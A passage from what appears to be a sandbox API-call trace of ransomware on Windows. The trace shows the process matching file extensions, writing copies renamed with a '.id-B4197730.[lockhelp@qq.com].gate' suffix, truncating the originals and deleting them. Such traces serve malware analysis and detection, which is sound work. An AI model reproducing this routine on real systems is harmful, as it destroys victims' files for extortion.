(lpString1=".1cd", lpString2=".rtf") returned -1 [0113.116] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0113.116] lstrlenW (lpString=".jpg") returned 4 [0113.116] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.116] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0113.116] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0113.116] lstrlenW (lpString=".doc") returned 4 [0113.116] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.116] lstrlenW (lpString=".docx") returned 5 [0113.116] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.116] lstrlenW (lpString=".pdf") returned 4 [0113.116] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.116] lstrlenW (lpString=".xls") returned 4 [0113.116] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.116] lstrlenW (lpString=".xlsx") returned 5 [0113.116] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.116] lstrlenW (lpString=".ppt") returned 4 [0113.116] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.116] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0113.117] lstrlenW (lpString=".zip") returned 4 [0113.117] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.117] lstrlenW (lpString=".rar") returned 4 [0113.117] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.117] lstrlenW (lpString=".bz2") returned 4 [0113.117] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.117] lstrlenW (lpString=".7z") returned 3 [0113.117] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0113.117] lstrlenW (lpString=".dbf") returned 4 [0113.117] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0113.117] lstrlenW (lpString=".1cd") returned 4 [0113.117] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0113.117] lstrlenW (lpString=".jpg") returned 4 [0113.117] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.117] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0113.117] lstrlenW (lpString="eula.rtf") returned 8 [0113.117] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.117] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=3865) returned 1 [0113.118] CloseHandle (hObject=0x348) returned 1 [0113.118] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0113.118] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.118] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.118] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.118] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.118] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0113.118] GetLastError () returned 0x0 [0113.118] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0xf19, lpOverlapped=0x0) returned 1 [0113.214] WriteFile (in: hFile=0x34c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xf20, lpOverlapped=0x0) returned 1 [0113.215] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.215] WriteFile (in: hFile=0x34c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xe4, lpOverlapped=0x0) returned 1 [0113.216] SetEndOfFile (hFile=0x34c) returned 1 [0113.216] CloseHandle (hObject=0x34c) returned 1 [0113.216] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.217] SetEndOfFile (hFile=0x348) returned 1 [0113.217] CloseHandle (hObject=0x348) returned 1 [0113.217] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.218] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0113.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0113.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0113.218] lstrlenW (lpString=".doc") returned 4 [0113.218] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.218] lstrlenW (lpString=".docx") returned 5 [0113.218] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.218] lstrlenW (lpString=".pdf") returned 4 [0113.219] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.219] lstrlenW (lpString=".xls") returned 4 [0113.219] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.219] lstrlenW (lpString=".xlsx") returned 5 [0113.219] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.219] lstrlenW (lpString=".ppt") returned 4 [0113.219] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0113.219] lstrlenW (lpString=".zip") returned 4 [0113.219] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.219] lstrlenW (lpString=".rar") returned 4 [0113.219] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.219] lstrlenW (lpString=".bz2") returned 4 [0113.219] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.219] lstrlenW (lpString=".7z") returned 3 [0113.219] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0113.219] lstrlenW (lpString=".dbf") returned 4 [0113.219] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0113.219] lstrlenW (lpString=".1cd") returned 4 [0113.219] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0113.219] lstrlenW (lpString=".jpg") returned 4 [0113.219] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0113.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0113.219] lstrlenW (lpString=".doc") returned 4 [0113.219] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.219] lstrlenW (lpString=".docx") returned 5 [0113.220] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.220] lstrlenW (lpString=".pdf") returned 4 [0113.220] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.220] lstrlenW (lpString=".xls") returned 4 [0113.220] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.220] lstrlenW (lpString=".xlsx") returned 5 [0113.220] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.220] lstrlenW (lpString=".ppt") returned 4 [0113.220] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0113.220] lstrlenW (lpString=".zip") returned 4 [0113.220] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.220] lstrlenW (lpString=".rar") returned 4 [0113.220] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.220] lstrlenW (lpString=".bz2") returned 4 [0113.220] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.220] lstrlenW (lpString=".7z") returned 3 [0113.220] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0113.220] lstrlenW (lpString=".dbf") returned 4 [0113.220] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0113.220] lstrlenW (lpString=".1cd") returned 4 [0113.220] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0113.220] lstrlenW (lpString=".jpg") returned 4 [0113.220] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.220] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.221] lstrlenW (lpString="LocalizedData.xml") returned 17 [0113.221] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.252] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=60684) returned 1 [0113.252] CloseHandle (hObject=0x348) returned 1 [0113.252] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0113.252] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.252] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.252] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.252] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.253] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0113.272] GetLastError () returned 0x0 [0113.272] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0xed0c, lpOverlapped=0x0) returned 1 [0113.518] WriteFile (in: hFile=0x318, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xed10, lpOverlapped=0x0) returned 1 [0113.521] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.521] WriteFile (in: hFile=0x318, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.521] SetEndOfFile (hFile=0x318) returned 1 [0113.521] CloseHandle (hObject=0x318) returned 1 [0113.523] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.523] SetEndOfFile (hFile=0x348) returned 1 [0113.525] CloseHandle (hObject=0x348) returned 1 [0113.525] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.525] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0113.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0113.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0113.525] lstrlenW (lpString=".doc") returned 4 [0113.525] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.525] lstrlenW (lpString=".docx") returned 5 [0113.525] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.526] lstrlenW (lpString=".pdf") returned 4 [0113.526] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.526] lstrlenW (lpString=".xls") returned 4 [0113.526] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.526] lstrlenW (lpString=".xlsx") returned 5 [0113.526] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.526] lstrlenW (lpString=".ppt") returned 4 [0113.526] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0113.526] lstrlenW (lpString=".zip") returned 4 [0113.526] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.526] lstrlenW (lpString=".rar") returned 4 [0113.526] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.526] lstrlenW (lpString=".bz2") returned 4 [0113.526] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.526] lstrlenW (lpString=".7z") returned 3 [0113.526] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0113.526] lstrlenW (lpString=".dbf") returned 4 [0113.526] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0113.526] lstrlenW (lpString=".1cd") returned 4 [0113.526] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0113.526] lstrlenW (lpString=".jpg") returned 4 [0113.526] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0113.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0113.527] lstrlenW (lpString=".doc") returned 4 [0113.527] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.527] lstrlenW (lpString=".docx") returned 5 [0113.527] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.527] lstrlenW (lpString=".pdf") returned 4 [0113.527] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.527] lstrlenW (lpString=".xls") returned 4 [0113.527] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.527] lstrlenW (lpString=".xlsx") returned 5 [0113.527] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.527] lstrlenW (lpString=".ppt") returned 4 [0113.527] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0113.527] lstrlenW (lpString=".zip") returned 4 [0113.527] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.527] lstrlenW (lpString=".rar") returned 4 [0113.527] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.527] lstrlenW (lpString=".bz2") returned 4 [0113.527] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.527] lstrlenW (lpString=".7z") returned 3 [0113.527] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0113.527] lstrlenW (lpString=".dbf") returned 4 [0113.527] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0113.527] lstrlenW (lpString=".1cd") returned 4 [0113.527] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0113.527] lstrlenW (lpString=".jpg") returned 4 [0113.528] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.528] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.528] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0113.528] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.528] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=201796) returned 1 [0113.528] CloseHandle (hObject=0x348) returned 1 [0113.528] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0113.528] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.528] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.528] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.528] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.529] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0113.529] GetLastError () returned 0x0 [0113.529] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x31444, lpOverlapped=0x0) returned 1 [0113.568] WriteFile (in: hFile=0x318, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x31450, lpOverlapped=0x0) returned 1 [0113.571] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.571] WriteFile (in: hFile=0x318, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.571] SetEndOfFile (hFile=0x318) returned 1 [0113.597] CloseHandle (hObject=0x318) returned 1 [0113.602] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.602] SetEndOfFile (hFile=0x348) returned 1 [0113.604] CloseHandle (hObject=0x348) returned 1 [0113.604] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.604] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0113.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0113.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0113.605] lstrlenW (lpString=".doc") returned 4 [0113.605] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.605] lstrlenW (lpString=".docx") returned 5 [0113.605] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0113.605] lstrlenW (lpString=".pdf") returned 4 [0113.605] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.605] lstrlenW (lpString=".xls") returned 4 [0113.605] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.605] lstrlenW (lpString=".xlsx") returned 5 [0113.605] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0113.605] lstrlenW (lpString=".ppt") returned 4 [0113.605] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0113.605] lstrlenW (lpString=".zip") returned 4 [0113.605] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.605] lstrlenW (lpString=".rar") returned 4 [0113.605] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.605] lstrlenW (lpString=".bz2") returned 4 [0113.605] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.605] lstrlenW (lpString=".7z") returned 3 [0113.605] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0113.605] lstrlenW (lpString=".dbf") returned 4 [0113.605] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0113.605] lstrlenW (lpString=".1cd") returned 4 [0113.605] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0113.606] lstrlenW (lpString=".jpg") returned 4 [0113.606] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0113.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0113.606] lstrlenW (lpString=".doc") returned 4 [0113.606] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.606] lstrlenW (lpString=".docx") returned 5 [0113.606] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0113.606] lstrlenW (lpString=".pdf") returned 4 [0113.606] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.606] lstrlenW (lpString=".xls") returned 4 [0113.606] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.606] lstrlenW (lpString=".xlsx") returned 5 [0113.606] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0113.606] lstrlenW (lpString=".ppt") returned 4 [0113.606] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0113.606] lstrlenW (lpString=".zip") returned 4 [0113.606] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.606] lstrlenW (lpString=".rar") returned 4 [0113.606] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.606] lstrlenW (lpString=".bz2") returned 4 [0113.606] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.606] lstrlenW (lpString=".7z") returned 3 [0113.606] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0113.606] lstrlenW (lpString=".dbf") returned 4 [0113.607] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0113.607] lstrlenW (lpString=".1cd") returned 4 [0113.607] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0113.607] lstrlenW (lpString=".jpg") returned 4 [0113.607] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.607] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.607] lstrlenW (lpString="UiInfo.xml") returned 10 [0113.607] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0113.609] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=39050) returned 1 